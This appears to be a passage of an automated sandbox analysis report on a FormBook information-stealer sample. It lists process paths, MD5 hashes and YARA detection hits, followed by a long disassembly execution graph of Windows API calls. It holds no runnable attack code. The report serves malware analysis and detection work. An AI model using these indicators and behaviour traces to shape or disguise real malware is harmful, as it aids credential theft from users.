                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.2505688280.00000000030D0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                            • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.2505688280.00000000030D0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
                            Reputation:high
                            Has exited:false

                            General

                            Target ID:13
                            Start time:11:03:11
                            Start date:08/10/2024
                            Path:C:\Windows\SysWOW64\wextract.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Windows\SysWOW64\wextract.exe"
                            Imagebase:0x390000
                            File size:136'192 bytes
                            MD5 hash:B9CC7E24DB7DE2E75678761B1D8BAC3E
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Yara matches:
                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.2503030807.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                            • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.2503030807.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.2505420589.0000000004950000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.2505420589.0000000004950000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.2505519891.00000000049A0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.2505519891.00000000049A0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                            Reputation:moderate
                            Has exited:false

                            General

                            Target ID:16
                            Start time:11:03:24
                            Start date:08/10/2024
                            Path:C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exe"
                            Imagebase:0xc60000
                            File size:140'800 bytes
                            MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Reputation:high
                            Has exited:false

                            General

                            Target ID:17
                            Start time:11:03:41
                            Start date:08/10/2024
                            Path:C:\Program Files\Mozilla Firefox\firefox.exe
                            Wow64 process (32bit):false
                            Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                            Imagebase:0x7ff722870000
                            File size:676'768 bytes
                            MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Reputation:high
                            Has exited:true

                            Disassembly

                            Reset < >

                              Execution Graph

                              Execution Coverage:3.4%
                              Dynamic/Decrypted Code Coverage:0.4%
                              Signature Coverage:8.8%
                              Total number of Nodes:2000
                              Total number of Limit Nodes:36
                              execution_graph 86146 4010e0 86149 401100 86146->86149 86148 4010f8 86150 401113 86149->86150 86151 401182 86150->86151 86153 401120 86150->86153 86154 401184 86150->86154 86155 40114c 86150->86155 86152 40112c 742846C0 86151->86152 86152->86148 86153->86152 86194 401000 Shell_NotifyIconW _memcpy_s 86153->86194 86187 401250 61 API calls _memcpy_s 86154->86187 86157 401151 86155->86157 86158 40119d 86155->86158 86162 401219 86157->86162 86163 40115d 86157->86163 86160 4011a3 86158->86160 86161 42afb4 86158->86161 86159 401193 86159->86148 86160->86153 86170 4011b6 KillTimer 86160->86170 86171 4011db SetTimer RegisterClipboardFormatW 86160->86171 86189 40f190 10 API calls 86161->86189 86162->86153 86167 401225 86162->86167 86165 401163 86163->86165 86166 42b01d 86163->86166 86172 42afe9 86165->86172 86173 40116c 86165->86173 86166->86152 86193 4370f4 52 API calls 86166->86193 86205 468b0e 74 API calls _memcpy_s 86167->86205 86169 42b04f 86195 40e0c0 86169->86195 86188 401000 Shell_NotifyIconW _memcpy_s 86170->86188 86171->86159 86178 401204 CreatePopupMenu 86171->86178 86191 40f190 10 API calls 86172->86191 86173->86153 86180 401174 86173->86180 86178->86148 86190 45fd57 65 API calls _memcpy_s 86180->86190 86181 42afe4 86181->86159 86182 42b00e 86192 401a50 331 API calls 86182->86192 86183 4011c9 PostQuitMessage 86183->86148 86186 42afdc 86186->86152 86186->86181 86187->86159 86188->86183 86189->86159 86190->86186 86191->86182 86192->86151 86193->86151 86194->86169 86196 40e0e7 _memcpy_s 86195->86196 86197 40e142 86196->86197 86199 42729f DestroyCursor 86196->86199 86198 40e184 86197->86198 86228 4341e6 63 API calls __wcsicoll 86197->86228 86201 40e1a0 Shell_NotifyIconW 86198->86201 86202 4272db Shell_NotifyIconW 86198->86202 86199->86197 86206 401b80 86201->86206 86204 40e1ba 86204->86151 86205->86181 86207 401b9c 86206->86207 86208 401c7e 86206->86208 86229 4013c0 86207->86229 86208->86204 86211 42722b LoadStringW 86215 427246 86211->86215 86212 401bb9 86234 402160 86212->86234 86214 401bcd 86217 427258 86214->86217 86218 401bda 86214->86218 86248 40e0a0 86215->86248 86252 40d200 52 API calls 2 library calls 86217->86252 86218->86215 86219 401be4 86218->86219 86247 40d200 52 API calls 2 library calls 86219->86247 86222 427267 86223 42727b 86222->86223 86225 401bf3 _memcpy_s _wcscpy _wcsncpy 86222->86225 86253 40d200 52 API calls 2 library calls 86223->86253 86227 401c62 Shell_NotifyIconW 86225->86227 86226 427289 86227->86208 86228->86198 86254 4115d7 86229->86254 86235 426daa 86234->86235 86236 40216b _wcslen 86234->86236 86292 40c600 86235->86292 86239 402180 86236->86239 86240 40219e 86236->86240 86238 426db5 86238->86214 86291 403bd0 52 API calls moneypunct 86239->86291 86241 4013a0 52 API calls 86240->86241 86243 4021a5 86241->86243 86245 426db7 86243->86245 86246 4115d7 52 API calls 86243->86246 86244 402187 _memmove 86244->86214 86246->86244 86247->86225 86249 40e0b2 86248->86249 86250 40e0a8 86248->86250 86249->86225 86304 403c30 52 API calls _memmove 86250->86304 86252->86222 86253->86226 86256 4115e1 _malloc 86254->86256 86257 4013e4 86256->86257 86260 4115fd std::exception::exception 86256->86260 86268 4135bb 86256->86268 86265 4013a0 86257->86265 86258 41163b 86283 4180af 46 API calls std::exception::operator= 86258->86283 86260->86258 86282 41130a 51 API calls __cinit 86260->86282 86261 411645 86284 418105 RaiseException 86261->86284 86264 411656 86266 4115d7 52 API calls 86265->86266 86267 4013a7 86266->86267 86267->86211 86267->86212 86269 413638 _malloc 86268->86269 86276 4135c9 _malloc 86268->86276 86290 417f77 46 API calls __getptd_noexit 86269->86290 86272 4135f7 RtlAllocateHeap 86273 413630 86272->86273 86272->86276 86273->86256 86275 413624 86288 417f77 46 API calls __getptd_noexit 86275->86288 86276->86272 86276->86275 86277 4135d4 86276->86277 86280 413622 86276->86280 86277->86276 86285 418901 46 API calls __NMSG_WRITE 86277->86285 86286 418752 46 API calls 8 library calls 86277->86286 86287 411682 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 86277->86287 86289 417f77 46 API calls __getptd_noexit 86280->86289 86282->86258 86283->86261 86284->86264 86285->86277 86286->86277 86288->86280 86289->86273 86290->86273 86291->86244 86293 40c619 86292->86293 86294 40c60a 86292->86294 86293->86238 86294->86293 86297 4026f0 86294->86297 86296 426d7a _memmove 86296->86238 86298 426873 86297->86298 86299 4026ff 86297->86299 86300 4013a0 52 API calls 86298->86300 86299->86296 86301 42687b 86300->86301 86302 4115d7 52 API calls 86301->86302 86303 42689e _memmove 86302->86303 86303->86296 86304->86249 86305 40bd20 86307 428194 86305->86307 86308 40bd2d 86305->86308 86306 40bd43 86307->86306 86310 4281bc 86307->86310 86312 4281b2 86307->86312 86309 40bd37 86308->86309 86328 4531b1 85 API calls 5 library calls 86308->86328 86317 40bd50 86309->86317 86327 45e987 86 API calls moneypunct 86310->86327 86326 40b510 VariantClear 86312->86326 86316 4281ba 86318 426cf1 86317->86318 86319 40bd63 86317->86319 86338 44cde9 52 API calls _memmove 86318->86338 86329 40bd80 86319->86329 86322 40bd73 86322->86306 86323 426cfc 86324 40e0a0 52 API calls 86323->86324 86325 426d02 86324->86325 86326->86316 86327->86308 86328->86309 86330 40bd8e 86329->86330 86337 40bdb7 _memmove 86329->86337 86331 40bded 86330->86331 86332 40bdad 86330->86332 86330->86337 86334 4115d7 52 API calls 86331->86334 86339 402f00 86332->86339 86335 40bdf6 86334->86335 86336 4115d7 52 API calls 86335->86336 86335->86337 86336->86337 86337->86322 86338->86323 86340 402f10 86339->86340 86341 402f0c 86339->86341 86342 4268c3 86340->86342 86343 4115d7 52 API calls 86340->86343 86341->86337 86344 402f51 moneypunct _memmove 86343->86344 86344->86337 86345 425ba2 86350 40e360 86345->86350 86347 425bb4 86366 41130a 51 API calls __cinit 86347->86366 86349 425bbe 86351 4115d7 52 API calls 86350->86351 86352 40e3ec GetModuleFileNameW 86351->86352 86367 413a0e 86352->86367 86354 40e421 _wcsncat 86370 413a9e 86354->86370 86357 4115d7 52 API calls 86358 40e45e _wcscpy 86357->86358 86373 40bc70 86358->86373 86362 40e4a9 86362->86347 86363 401c90 52 API calls 86364 40e4a1 _wcscat _wcslen _wcsncpy 86363->86364 86364->86362 86364->86363 86365 4115d7 52 API calls 86364->86365 86365->86364 86366->86349 86392 413801 86367->86392 86422 419efd 86370->86422 86374 4115d7 52 API calls 86373->86374 86375 40bc98 86374->86375 86376 4115d7 52 API calls 86375->86376 86377 40bca6 86376->86377 86378 40e4c0 86377->86378 86434 403350 86378->86434 86380 40e4cb RegOpenKeyExW 86381 427190 RegQueryValueExW 86380->86381 86382 40e4eb 86380->86382 86383 4271b0 86381->86383 86384 42721a RegCloseKey 86381->86384 86382->86364 86385 4115d7 52 API calls 86383->86385 86384->86364 86386 4271cb 86385->86386 86441 43652f 52 API calls 86386->86441 86388 4271d8 RegQueryValueExW 86389 42720e 86388->86389 86390 4271f7 86388->86390 86389->86384 86391 402160 52 API calls 86390->86391 86391->86389 86393 41389e 86392->86393 86399 41381a 86392->86399 86394 4139e8 86393->86394 86396 413a00 86393->86396 86419 417f77 46 API calls __getptd_noexit 86394->86419 86421 417f77 46 API calls __getptd_noexit 86396->86421 86397 4139ed 86420 417f25 10 API calls _fseek 86397->86420 86399->86393 86406 41388a 86399->86406 86414 419e30 46 API calls _fseek 86399->86414 86402 41396c 86402->86393 86404 413967 86402->86404 86407 41397a 86402->86407 86403 413929 86403->86393 86405 413945 86403->86405 86416 419e30 46 API calls _fseek 86403->86416 86404->86354 86405->86393 86405->86404 86410 41395b 86405->86410 86406->86393 86413 413909 86406->86413 86415 419e30 46 API calls _fseek 86406->86415 86418 419e30 46 API calls _fseek 86407->86418 86417 419e30 46 API calls _fseek 86410->86417 86413->86402 86413->86403 86414->86406 86415->86413 86416->86405 86417->86404 86418->86404 86419->86397 86420->86404 86421->86404 86423 419f13 86422->86423 86424 419f0e 86422->86424 86431 417f77 46 API calls __getptd_noexit 86423->86431 86424->86423 86427 419f2b 86424->86427 86429 40e454 86427->86429 86433 417f77 46 API calls __getptd_noexit 86427->86433 86429->86357 86430 419f18 86432 417f25 10 API calls _fseek 86430->86432 86431->86430 86432->86429 86433->86430 86435 403367 86434->86435 86436 403358 86434->86436 86437 4115d7 52 API calls 86435->86437 86436->86380 86438 403370 86437->86438 86439 4115d7 52 API calls 86438->86439 86440 40339e 86439->86440 86440->86380 86441->86388 86442 416454 86479 416c70 86442->86479 86444 416460 GetStartupInfoW 86445 416474 86444->86445 86480 419d5a HeapCreate 86445->86480 86447 4164cd 86448 4164d8 86447->86448 86564 41642b 46 API calls 3 library calls 86447->86564 86481 417c20 GetModuleHandleW 86448->86481 86451 4164de 86452 4164e9 __RTC_Initialize 86451->86452 86565 41642b 46 API calls 3 library calls 86451->86565 86500 41aaa1 GetStartupInfoW 86452->86500 86456 416503 GetCommandLineW 86513 41f584 GetEnvironmentStringsW 86456->86513 86460 416513 86519 41f4d6 GetModuleFileNameW 86460->86519 86462 41651d 86463 416528 86462->86463 86567 411924 46 API calls 3 library calls 86462->86567 86523 41f2a4 86463->86523 86466 41652e 86467 416539 86466->86467 86568 411924 46 API calls 3 library calls 86466->86568 86537 411703 86467->86537 86470 416541 86472 41654c __wwincmdln 86470->86472 86569 411924 46 API calls 3 library calls 86470->86569 86541 40d6b0 86472->86541 86475 41657c 86571 411906 46 API calls _doexit 86475->86571 86478 416581 _fseek 86479->86444 86480->86447 86482 417c34 86481->86482 86483 417c3d GetProcAddress GetProcAddress GetProcAddress GetProcAddress 86481->86483 86572 4178ff 49 API calls _free 86482->86572 86485 417c87 TlsAlloc 86483->86485 86488 417cd5 TlsSetValue 86485->86488 86489 417d96 86485->86489 86486 417c39 86486->86451 86488->86489 86490 417ce6 __init_pointers 86488->86490 86489->86451 86573 418151 InitializeCriticalSectionAndSpinCount 86490->86573 86492 417d91 86581 4178ff 49 API calls _free 86492->86581 86494 417d2a 86494->86492 86574 416b49 86494->86574 86497 417d76 86580 41793c 46 API calls 4 library calls 86497->86580 86499 417d7e GetCurrentThreadId 86499->86489 86501 416b49 __calloc_crt 46 API calls 86500->86501 86502 41aabf 86501->86502 86502->86502 86503 41ac34 86502->86503 86505 416b49 __calloc_crt 46 API calls 86502->86505 86508 4164f7 86502->86508 86509 41abb4 86502->86509 86504 41ac6a GetStdHandle 86503->86504 86506 41acce SetHandleCount 86503->86506 86507 41ac7c GetFileType 86503->86507 86512 41aca2 InitializeCriticalSectionAndSpinCount 86503->86512 86504->86503 86505->86502 86506->86508 86507->86503 86508->86456 86566 411924 46 API calls 3 library calls 86508->86566 86509->86503 86510 41abe0 GetFileType 86509->86510 86511 41abeb InitializeCriticalSectionAndSpinCount 86509->86511 86510->86509 86510->86511 86511->86508 86511->86509 86512->86503 86512->86508 86514 41f595 86513->86514 86515 41f599 86513->86515 86514->86460 86591 416b04 86515->86591 86517 41f5bb _memmove 86518 41f5c2 FreeEnvironmentStringsW 86517->86518 86518->86460 86520 41f50b _wparse_cmdline 86519->86520 86521 416b04 __malloc_crt 46 API calls 86520->86521 86522 41f54e _wparse_cmdline 86520->86522 86521->86522 86522->86462 86524 41f2bc _wcslen 86523->86524 86528 41f2b4 86523->86528 86525 416b49 __calloc_crt 46 API calls 86524->86525 86530 41f2e0 _wcslen 86525->86530 86526 41f336 86598 413748 86526->86598 86528->86466 86529 416b49 __calloc_crt 46 API calls 86529->86530 86530->86526 86530->86528 86530->86529 86531 41f35c 86530->86531 86534 41f373 86530->86534 86597 41ef12 46 API calls _fseek 86530->86597 86533 413748 _free 46 API calls 86531->86533 86533->86528 86604 417ed3 86534->86604 86536 41f37f 86536->86466 86538 411711 __initterm_e __initp_misc_cfltcvt_tab __IsNonwritableInCurrentImage 86537->86538 86540 411750 __IsNonwritableInCurrentImage 86538->86540 86623 41130a 51 API calls __cinit 86538->86623 86540->86470 86542 42e2f3 86541->86542 86543 40d6cc 86541->86543 86624 408f40 86543->86624 86545 40d707 86628 40ebb0 86545->86628 86548 40d737 86631 411951 86548->86631 86553 40d751 86643 40f4e0 SystemParametersInfoW SystemParametersInfoW 86553->86643 86555 40d75f 86644 40d590 GetCurrentDirectoryW 86555->86644 86557 40d767 SystemParametersInfoW 86558 40d794 86557->86558 86559 40d78d FreeLibrary 86557->86559 86560 408f40 VariantClear 86558->86560 86559->86558 86561 40d79d 86560->86561 86562 408f40 VariantClear 86561->86562 86563 40d7a6 86562->86563 86563->86475 86570 4118da 46 API calls _doexit 86563->86570 86564->86448 86565->86452 86570->86475 86571->86478 86572->86486 86573->86494 86576 416b52 86574->86576 86577 416b8f 86576->86577 86578 416b70 Sleep 86576->86578 86582 41f677 86576->86582 86577->86492 86577->86497 86579 416b85 86578->86579 86579->86576 86579->86577 86580->86499 86581->86489 86583 41f683 86582->86583 86588 41f69e _malloc 86582->86588 86584 41f68f 86583->86584 86583->86588 86590 417f77 46 API calls __getptd_noexit 86584->86590 86586 41f6b1 RtlAllocateHeap 86587 41f6d8 86586->86587 86586->86588 86587->86576 86588->86586 86588->86587 86589 41f694 86589->86576 86590->86589 86594 416b0d 86591->86594 86592 4135bb _malloc 45 API calls 86592->86594 86593 416b43 86593->86517 86594->86592 86594->86593 86595 416b24 Sleep 86594->86595 86596 416b39 86595->86596 86596->86593 86596->86594 86597->86530 86599 413753 RtlFreeHeap 86598->86599 86603 41377c __dosmaperr 86598->86603 86600 413768 86599->86600 86599->86603 86607 417f77 46 API calls __getptd_noexit 86600->86607 86602 41376e GetLastError 86602->86603 86603->86528 86608 417daa 86604->86608 86607->86602 86609 417dc9 _memcpy_s __call_reportfault 86608->86609 86610 417de7 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 86609->86610 86612 417eb5 __call_reportfault 86610->86612 86614 41a208 86612->86614 86613 417ed1 GetCurrentProcess TerminateProcess 86613->86536 86615 41a210 86614->86615 86616 41a212 IsDebuggerPresent 86614->86616 86615->86613 86622 41fe19 86616->86622 86619 421fd3 SetUnhandledExceptionFilter UnhandledExceptionFilter 86620 421ff0 __call_reportfault 86619->86620 86621 421ff8 GetCurrentProcess TerminateProcess 86619->86621 86620->86621 86621->86613 86622->86619 86623->86540 86625 408f48 moneypunct 86624->86625 86626 4265c7 VariantClear 86625->86626 86627 408f55 moneypunct 86625->86627 86626->86627 86627->86545 86684 40ebd0 86628->86684 86688 4182cb 86631->86688 86633 41195e 86695 4181f2 RtlLeaveCriticalSection 86633->86695 86635 40d748 86636 4119b0 86635->86636 86637 4119d6 86636->86637 86638 4119bc 86636->86638 86637->86553 86638->86637 86730 417f77 46 API calls __getptd_noexit 86638->86730 86640 4119c6 86731 417f25 10 API calls _fseek 86640->86731 86642 4119d1 86642->86553 86643->86555 86732 401f20 86644->86732 86646 40d5b6 IsDebuggerPresent 86647 40d5c4 86646->86647 86648 42e1bb MessageBoxA 86646->86648 86649 42e1d4 86647->86649 86650 40d5e3 86647->86650 86648->86649 86902 403a50 52 API calls 3 library calls 86649->86902 86802 40f520 86650->86802 86654 40d5fd GetFullPathNameW 86814 401460 86654->86814 86656 40d63b 86657 40d643 86656->86657 86658 42e231 SetCurrentDirectoryW 86656->86658 86659 40d64c 86657->86659 86903 432fee 6 API calls 86657->86903 86658->86657 86829 410390 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 86659->86829 86662 42e252 86662->86659 86664 42e25a GetModuleFileNameW 86662->86664 86667 42e274 86664->86667 86668 42e2cb GetForegroundWindow ShellExecuteW 86664->86668 86666 40d656 86669 40d669 86666->86669 86672 40e0c0 74 API calls 86666->86672 86904 401b10 86667->86904 86670 40d688 86668->86670 86837 4091e0 86669->86837 86677 40d692 SetCurrentDirectoryW 86670->86677 86672->86669 86677->86557 86678 42e28d 86911 40d200 52 API calls 2 library calls 86678->86911 86681 42e299 GetForegroundWindow ShellExecuteW 86682 42e2c6 86681->86682 86682->86670 86683 40ec00 LoadLibraryA GetProcAddress 86683->86548 86685 40d72e 86684->86685 86686 40ebd6 LoadLibraryA 86684->86686 86685->86548 86685->86683 86686->86685 86687 40ebe7 GetProcAddress 86686->86687 86687->86685 86689 4182e0 86688->86689 86690 4182f3 RtlEnterCriticalSection 86688->86690 86696 418209 86689->86696 86690->86633 86692 4182e6 86692->86690 86723 411924 46 API calls 3 library calls 86692->86723 86695->86635 86697 418215 _fseek 86696->86697 86698 418225 86697->86698 86699 41823d 86697->86699 86724 418901 46 API calls __NMSG_WRITE 86698->86724 86701 416b04 __malloc_crt 45 API calls 86699->86701 86708 41824b _fseek 86699->86708 86703 418256 86701->86703 86702 41822a 86725 418752 46 API calls 8 library calls 86702->86725 86706 41825d 86703->86706 86707 41826c 86703->86707 86705 418231 86726 411682 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 86705->86726 86727 417f77 46 API calls __getptd_noexit 86706->86727 86711 4182cb __lock 45 API calls 86707->86711 86708->86692 86713 418273 86711->86713 86714 4182a6 86713->86714 86715 41827b InitializeCriticalSectionAndSpinCount 86713->86715 86716 413748 _free 45 API calls 86714->86716 86717 418297 86715->86717 86718 41828b 86715->86718 86716->86717 86729 4182c2 RtlLeaveCriticalSection _doexit 86717->86729 86719 413748 _free 45 API calls 86718->86719 86720 418291 86719->86720 86728 417f77 46 API calls __getptd_noexit 86720->86728 86724->86702 86725->86705 86727->86708 86728->86717 86729->86708 86730->86640 86731->86642 86912 40e6e0 86732->86912 86736 401f41 GetModuleFileNameW 86930 410100 86736->86930 86738 401f5c 86942 410960 86738->86942 86741 401b10 52 API calls 86742 401f81 86741->86742 86945 401980 86742->86945 86744 401f8e 86745 408f40 VariantClear 86744->86745 86746 401f9d 86745->86746 86747 401b10 52 API calls 86746->86747 86748 401fb4 86747->86748 86749 401980 53 API calls 86748->86749 86750 401fc3 86749->86750 86751 401b10 52 API calls 86750->86751 86752 401fd2 86751->86752 86953 40c2c0 86752->86953 86754 401fe1 86755 40bc70 52 API calls 86754->86755 86756 401ff3 86755->86756 86971 401a10 86756->86971 86758 401ffe 86978 4114ab 86758->86978 86761 428b05 86763 401a10 52 API calls 86761->86763 86762 402017 86764 4114ab __wcsicoll 58 API calls 86762->86764 86765 428b18 86763->86765 86766 402022 86764->86766 86768 401a10 52 API calls 86765->86768 86766->86765 86767 40202d 86766->86767 86769 4114ab __wcsicoll 58 API calls 86767->86769 86770 428b33 86768->86770 86771 402038 86769->86771 86773 428b3b GetModuleFileNameW 86770->86773 86772 402043 86771->86772 86771->86773 86774 4114ab __wcsicoll 58 API calls 86772->86774 86775 401a10 52 API calls 86773->86775 86776 40204e 86774->86776 86777 428b6c 86775->86777 86778 402092 86776->86778 86782 401a10 52 API calls 86776->86782 86787 428b90 _wcscpy 86776->86787 86779 40e0a0 52 API calls 86777->86779 86781 4020a3 86778->86781 86778->86787 86780 428b7a 86779->86780 86783 401a10 52 API calls 86780->86783 86784 428bc6 86781->86784 86986 40e830 53 API calls 86781->86986 86785 402073 _wcscpy 86782->86785 86786 428b88 86783->86786 86793 401a10 52 API calls 86785->86793 86786->86787 86789 401a10 52 API calls 86787->86789 86797 4020d0 86789->86797 86790 4020bb 86987 40cf00 53 API calls 86790->86987 86792 4020c6 86794 408f40 VariantClear 86792->86794 86793->86778 86794->86797 86795 402110 86799 408f40 VariantClear 86795->86799 86797->86795 86800 401a10 52 API calls 86797->86800 86988 40cf00 53 API calls 86797->86988 86989 40e6a0 53 API calls 86797->86989 86801 402120 moneypunct 86799->86801 86800->86797 86801->86646 86803 4295c9 _memcpy_s 86802->86803 86804 40f53c 86802->86804 86806 4295d9 758ED0D0 86803->86806 87668 410120 86804->87668 86806->86804 86808 40d5f5 86806->86808 86807 40f545 87672 4102b0 SHGetMalloc 86807->87672 86808->86654 86808->86656 86810 40f54c 87677 410190 GetFullPathNameW 86810->87677 86812 40f559 87688 40f570 86812->87688 87750 402400 86814->87750 86816 40146f 86819 428c29 _wcscat 86816->86819 87759 401500 86816->87759 86818 40147c 86818->86819 87767 40d440 86818->87767 86821 401489 86821->86819 86822 401491 GetFullPathNameW 86821->86822 86823 402160 52 API calls 86822->86823 86824 4014bb 86823->86824 86825 402160 52 API calls 86824->86825 86826 4014c8 86825->86826 86826->86819 86827 402160 52 API calls 86826->86827 86828 4014ee 86827->86828 86828->86656 86830 428361 86829->86830 86831 4103fc LoadImageW RegisterClassExW 86829->86831 87787 44395e EnumResourceNamesW LoadImageW 86830->87787 87786 410490 7 API calls 86831->87786 86834 40d651 86836 410570 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 86834->86836 86835 428368 86836->86666 86838 409202 86837->86838 86839 42d7ad 86837->86839 86893 409216 moneypunct 86838->86893 88050 410940 331 API calls 86838->88050 88053 45e737 90 API calls 3 library calls 86839->88053 86842 409386 86843 40939c 86842->86843 88051 40f190 10 API calls 86842->88051 86843->86670 86901 401000 Shell_NotifyIconW _memcpy_s 86843->86901 86845 4095b2 86845->86843 88052 401a50 331 API calls 86845->88052 86846 409253 PeekMessageW 86846->86893 86848 42d8cd Sleep 86848->86893 86849 4095c6 LockWindowUpdate 74285CF0 GetMessageW 86849->86843 86852 4095f9 86849->86852 86851 42e13b 88071 40d410 VariantClear 86851->88071 86854 42e158 TranslateMessage DispatchMessageW GetMessageW 86852->86854 86854->86843 86854->86854 86856 409567 PeekMessageW 86856->86893 86859 44c29d 52 API calls 86900 4094e0 86859->86900 86860 46fdbf 108 API calls 86860->86900 86861 46f3c1 107 API calls 86861->86893 86862 40e0a0 52 API calls 86862->86893 86863 409551 TranslateMessage DispatchMessageW 86863->86856 86865 42dcd2 WaitForSingleObject 86868 42dcf0 GetExitCodeProcess CloseHandle 86865->86868 86865->86893 86866 42dd3d Sleep 86866->86900 86867 47d33e 309 API calls 86867->86893 88060 40d410 VariantClear 86868->88060 86872 4094cf Sleep 86872->86900 86873 40c620 timeGetTime 86873->86900 86875 40d410 VariantClear 86875->86893 86877 42d94d timeGetTime 88056 465124 53 API calls 86877->88056 86880 42dd89 CloseHandle 86880->86900 86881 408f40 VariantClear 86881->86900 86883 465124 53 API calls 86883->86900 86884 42de19 GetExitCodeProcess CloseHandle 86884->86900 86887 42de88 Sleep 86887->86893 86890 45e737 90 API calls 86890->86893 86893->86842 86893->86846 86893->86848 86893->86851 86893->86856 86893->86861 86893->86862 86893->86863 86893->86865 86893->86866 86893->86867 86893->86872 86893->86875 86893->86877 86893->86890 86894 42e0cc VariantClear 86893->86894 86895 408f40 VariantClear 86893->86895 86893->86900 87788 4091b0 86893->87788 87846 40afa0 86893->87846 87872 408fc0 86893->87872 87907 408cc0 86893->87907 87921 4096a0 86893->87921 88048 40d150 TranslateAcceleratorW 86893->88048 88049 40d170 IsDialogMessageW GetClassLongW 86893->88049 88054 465124 53 API calls 86893->88054 88055 40c620 timeGetTime 86893->88055 88070 40e270 VariantClear moneypunct 86893->88070 86894->86893 86895->86893 86897 401980 53 API calls 86897->86900 86898 401b10 52 API calls 86898->86900 86900->86859 86900->86860 86900->86873 86900->86880 86900->86881 86900->86883 86900->86884 86900->86887 86900->86893 86900->86897 86900->86898 88057 45178a 54 API calls 86900->88057 88058 47d33e 331 API calls 86900->88058 88059 453bc6 54 API calls 86900->88059 88061 40d410 VariantClear 86900->88061 88062 443d19 67 API calls _wcslen 86900->88062 88063 4574b4 VariantClear 86900->88063 88064 403cd0 86900->88064 88068 4731e1 VariantClear 86900->88068 88069 4331a2 6 API calls 86900->88069 86901->86670 86902->86656 86903->86662 86905 401b16 _wcslen 86904->86905 86906 4115d7 52 API calls 86905->86906 86909 401b63 86905->86909 86907 401b4b _memmove 86906->86907 86908 4115d7 52 API calls 86907->86908 86908->86909 86910 40d200 52 API calls 2 library calls 86909->86910 86910->86678 86911->86681 86913 40bc70 52 API calls 86912->86913 86914 401f31 86913->86914 86915 402560 86914->86915 86916 40256d __write_nolock 86915->86916 86917 402160 52 API calls 86916->86917 86919 402593 86917->86919 86928 4025bd 86919->86928 86990 401c90 86919->86990 86920 4026f0 52 API calls 86920->86928 86921 401b10 52 API calls 86923 4026d1 86921->86923 86922 401b10 52 API calls 86922->86928 86994 40d7c0 52 API calls 2 library calls 86923->86994 86925 401c90 52 API calls 86925->86928 86927 4026db 86927->86736 86928->86920 86928->86922 86928->86925 86929 4026a7 86928->86929 86993 40d7c0 52 API calls 2 library calls 86928->86993 86929->86921 86929->86927 86995 40f760 86930->86995 86933 410118 86933->86738 86935 42805d 86936 42806a 86935->86936 87051 431e58 86935->87051 86938 413748 _free 46 API calls 86936->86938 86939 428078 86938->86939 86940 431e58 82 API calls 86939->86940 86941 428084 86940->86941 86941->86738 86943 4115d7 52 API calls 86942->86943 86944 401f74 86943->86944 86944->86741 86946 4019a3 86945->86946 86950 401985 86945->86950 86947 4019b8 86946->86947 86946->86950 87657 403e10 53 API calls 86947->87657 86948 40199f 86948->86744 86950->86948 87656 403e10 53 API calls 86950->87656 86952 4019c4 86952->86744 86954 40c2c7 86953->86954 86955 40c30e 86953->86955 86956 40c2d3 86954->86956 86964 426c79 86954->86964 86957 40c315 86955->86957 86958 426c2b 86955->86958 87658 403ea0 52 API calls __cinit 86956->87658 86961 40c321 86957->86961 86963 426c5a 86957->86963 86960 426c4b 86958->86960 86965 426c2e 86958->86965 87661 4534e3 52 API calls 86960->87661 87659 403ea0 52 API calls __cinit 86961->87659 87662 4534e3 52 API calls 86963->87662 87663 4534e3 52 API calls 86964->87663 86970 40c2de 86965->86970 87660 4534e3 52 API calls 86965->87660 86970->86754 86972 401a30 86971->86972 86973 401a17 86971->86973 86975 402160 52 API calls 86972->86975 86974 401a2d 86973->86974 87664 403c30 52 API calls _memmove 86973->87664 86974->86758 86977 401a3d 86975->86977 86977->86758 86979 411523 86978->86979 86980 4114ba 86978->86980 87667 4113a8 58 API calls 3 library calls 86979->87667 86983 40200c 86980->86983 87665 417f77 46 API calls __getptd_noexit 86980->87665 86983->86761 86983->86762 86984 4114c6 87666 417f25 10 API calls _fseek 86984->87666 86986->86790 86987->86792 86988->86797 86989->86797 86991 4026f0 52 API calls 86990->86991 86992 401c97 86991->86992 86992->86919 86993->86928 86994->86927 87055 40f6f0 86995->87055 86997 40f77b _strcat moneypunct 87063 40f850 86997->87063 87002 427c2a 87092 414d04 87002->87092 87004 